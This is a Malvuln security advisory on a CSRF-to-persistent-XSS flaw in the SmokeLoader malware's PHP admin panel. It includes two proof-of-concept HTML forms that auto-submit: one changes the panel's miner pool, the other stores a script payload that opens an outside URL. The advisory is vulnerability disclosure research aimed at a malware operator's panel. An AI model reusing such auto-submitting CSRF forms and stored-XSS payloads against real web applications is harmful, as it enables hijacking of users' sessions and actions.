Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/4b5fc3a2489985f314b81d35eac3560f_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Panel.SmokeLoader 
Vulnerability: Cross Site Request Forgery (CSRF) - Persistent XSS
Family: SmokeLoader 
Type: Web Panel 
MD5: 4b5fc3a2489985f314b81d35eac3560f  (control.php)
SHA256: 8d02238577081be74b9ebc1effcfbf3452ffdb51f130398b5ab875b9bfe17743
Vuln ID: MVID-2024-0682
Disclosure: The smokebot admin web panel is written in PHP for remote administration capability.

The panel has multiple features like Bot List, Task List, Stealer, Miner, Email Grab, KeyLogger etc. The "control.php" PHP page contains an HTML FORM using POST method, 
however there is no CSRF security token used by the FORM. This is a unique token per session within the FORM, used as a challenge to the server to help prevent cross-site-scripting attacks. 
Therefore, third-party adversaries who can lure a panel user to visit an attacker controlled webpage or click an infected link may result in the panel users submitting FORMS on an attackers behalf. 
This may result in code execution, data theft, GEO location disclosure. The CSRF to XSS results in stored JS payload in the smoke MySQL database table "plugins".

Will be stored in the MySQL Database "plugins" table.

hash 	fgfilter 	fakedns_rules 	filesearch_rules 	procmon_rules 	ddos_rules 	keylog_rules 	fgcookies 	miner_rules 	
93666df0833e0b63917e5373812613 							0 	""/%3E%3Cscript%3Ewindow.open("https://www.malvuln.com/l...


Exploit/PoC:
1) CSRF to add your own Miner Pool

%3Cform method="post" action="http://127.0.0.1/Panel.SmokeLoader/SmokeLoader/Smoke/control1.php?page=miner"%3E
Pool: %3Cinput type="input" name="miner_pool" size="30" value="MyPoolFool:666"%3E 
Login: %3Cinput type="input" name="miner_login" size="20" value="gg"%3E
Password: %3Cinput type="input" name="miner_pass" size="20" value="malvuln"%3E
%3Cinput type="hidden" name="mode" value="miner"%3E
%3Cinput type="submit" value="SAVE"%3E
%3Cscript%3Edocument.forms[0].submit()%3C/script%3E
%3C/form%3E

2) CSRF to Persistent XSS

%3Cform method="post" action="http://127.0.0.1/Panel.SmokeLoader/SmokeLoader/Smoke/control1.php?page=miner"%3E
Pool: %3Cinput type="input" name="miner_pool" size="300" value='""/%3E%3Cscript%3Ewindow.open("https://www.malvuln.com/log.php")%3C/script%3E"'%3E 
Login: %3Cinput type="input" name="miner_login" size="20" value="gg"%3E
Password: %3Cinput type="input" name="miner_pass" size="20" value="malvuln"%3E
%3Cinput type="hidden" name="mode" value="miner"%3E
%3Cinput type="submit" value="SAVE"%3E
%3Cscript%3Edocument.forms[0].submit()%3C/script%3E
%3C/form%3E


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).